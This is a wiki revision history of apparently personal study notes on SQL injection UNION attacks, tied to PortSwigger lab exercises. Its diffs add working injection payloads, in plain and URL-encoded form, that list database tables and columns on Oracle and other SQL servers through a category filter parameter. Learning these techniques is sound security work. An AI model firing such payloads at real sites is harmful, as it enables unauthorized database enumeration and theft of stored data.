SQL Injection/UNION Attack - Revision history

Unknown user: /* Examining the Database */

2023-05-21T16:29:47Z

Examining the Database

← Older revision		Revision as of 16:29, 21 May 2023
Line 173:		Line 173:

	=Examining the Database=		=Examining the Database=

			Link: https://portswigger.net/web-security/sql-injection/examining-the-database

	==Querying the Database Type and Version==		==Querying the Database Type and Version==

2022-03-25T00:53:24Z

=Getting Table Information

← Older revision		Revision as of 00:53, 25 March 2022
Line 286:		Line 286:
	The analog to information schema on Oracle SQL servers is as follows.		The analog to information schema on Oracle SQL servers is as follows.

	====Getting Table Information===		====Getting Table Information====

	for tables:		for tables:

2022-03-25T00:53:14Z

=Getting Column Information for a Given Table

← Older revision		Revision as of 00:53, 25 March 2022
Line 306:		Line 306:
	</pre>		</pre>

	====Getting Column Information for a Given Table===		====Getting Column Information for a Given Table====

	for columns:		for columns:

2022-03-25T00:53:06Z

Oracle SQL Servers

← Older revision		Revision as of 00:53, 25 March 2022
Line 286:		Line 286:
	The analog to information schema on Oracle SQL servers is as follows.		The analog to information schema on Oracle SQL servers is as follows.

			====Getting Table Information===

	for tables:		for tables:
Line 294:		Line 294:
	</pre>		</pre>

	As a UNION query ~~this~~ might look like this:		For example, a UNION query against an injectable parameter on an Oracle SQL server might look like this:

	<pre>		<pre>
Line 300:		Line 300:
	</pre>		</pre>

	~~and~~ as a URL:		as a URL:

	<pre>		<pre>
	/filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+all_tables--		/filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+all_tables--
	</pre>		</pre>

			====Getting Column Information for a Given Table===

	for columns:		for columns:
Line 311:		Line 313:
	SELECT * FROM all_tab_columns WHERE table_name = 'USERS'		SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
	</pre>		</pre>

			this can be used in a UNION query against an injectable parameter, like so:

			<pre>
			' UNION SELECT COLUMN_NAME,NULL FROM all_tab_columns WHERE table_name = 'USERS_IMUYZD'--
			</pre>

			This will reveal the names of the columns in that table.

	=References=		=References=

2022-03-25T00:50:46Z

Oracle SQL Servers

← Older revision		Revision as of 00:50, 25 March 2022
Line 284:		Line 284:
	===Oracle SQL Servers===		===Oracle SQL Servers===

	The analog to information schema on Oracle SQL servers is:		The analog to information schema on Oracle SQL servers is as follows.



	for tables:		for tables:
Line 290:		Line 292:
	<pre>		<pre>
	SELECT * FROM all_tables		SELECT * FROM all_tables
			</pre>

			As a UNION query this might look like this:

			<pre>
			' UNION SELECT TABLE_NAME,NULL FROM all_tables--
			</pre>

			and as a URL:

			<pre>
			/filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+all_tables--
	</pre>		</pre>

2022-03-25T00:27:06Z

Listing Table Information

← Older revision		Revision as of 00:27, 25 March 2022
Line 242:		Line 242:

	<pre>		<pre>
	'+UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables--		/filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables--
	</pre>		</pre>

2022-03-25T00:26:57Z

Listing Column Information for a Given Table

← Older revision		Revision as of 00:26, 25 March 2022
Line 266:		Line 266:

	full list here: https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/		full list here: https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/

			Can use the same strategy mentioned above, once you know how many columns your query returns, you can always craft a UNION query that uses a NULL as a placeholder, if the query being UNIONed does not have enough columns.

			For example, this would return info about the columns of a table:

			<pre>
			' UNION SELECT COLUMN_NAME,NULL FROM information_schema.columns WHERE TABLE_NAME='users'--
			</pre>

			and when encoded as a URL, this becomes

			<pre>
			/filter?category='+UNION+SELECT+COLUMN_NAME,NULL+FROM+information_schema.columns+WHERE+TABLE_NAME%3d'pg_user_mapping'--
			</pre>
			</pre>

	===Oracle SQL Servers===		===Oracle SQL Servers===

2022-03-25T00:22:38Z

Non Oracle SQL Servers

← Older revision		Revision as of 00:22, 25 March 2022
Line 217:		Line 217:

	Non-Oracle SQL servers have an information schema that can be used to obtain information about other tables and their columns and types.		Non-Oracle SQL servers have an information schema that can be used to obtain information about other tables and their columns and types.

			====Listing Table Information====

	This query gets a list of tables in a database, using <code>information_schema.tables</code>:		This query gets a list of tables in a database, using <code>information_schema.tables</code>:
Line 242:		Line 244:
	'+UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables--		'+UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables--
	</pre>		</pre>

			====Listing Column Information for a Given Table====

	To query the information schema of a particular table, use <code>information_schema.columns</code>:		To query the information schema of a particular table, use <code>information_schema.columns</code>:

2022-03-25T00:21:53Z

Non Oracle SQL Servers

← Older revision		Revision as of 00:21, 25 March 2022
Line 224:		Line 224:
	</pre>		</pre>

	This will return one result per table, with the following fields:		This will return one result per table, with the following fields (probably more):

	* <code>TABLE_CATALOG</code>		* <code>TABLE_CATALOG</code>
Line 248:		Line 248:
	SELECT * FROM information_schema.columns WHERE table_name = 'Users'		SELECT * FROM information_schema.columns WHERE table_name = 'Users'
	</pre>		</pre>

			This will return rows of results, where each row contains data about a different column.

			A partial list of fields returned by this query:

			* <code>TABLE_CATALOG</code>
			* <code>TABLE_SCHEMA</code>
			* <code>TABLE_NAME</code>
			* <code>COLUMN_NAME</code>
			* <code>COLUMN_DEFAULT</code>
			* <code>IS_NULLABLE</code>
			* <code>DATA_TYPE</code>

			full list here: https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/

	===Oracle SQL Servers===		===Oracle SQL Servers===

2022-03-25T00:18:41Z

Non Oracle SQL Servers

@@ Line 224: / Line 224: @@
 </pre>
-This will return one result per table, with fields like TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, and TABLE_TYPE
+This will return one result per table, with the following fields:
 To query the information schema of a particular table, use <code>information_schema.columns</code>: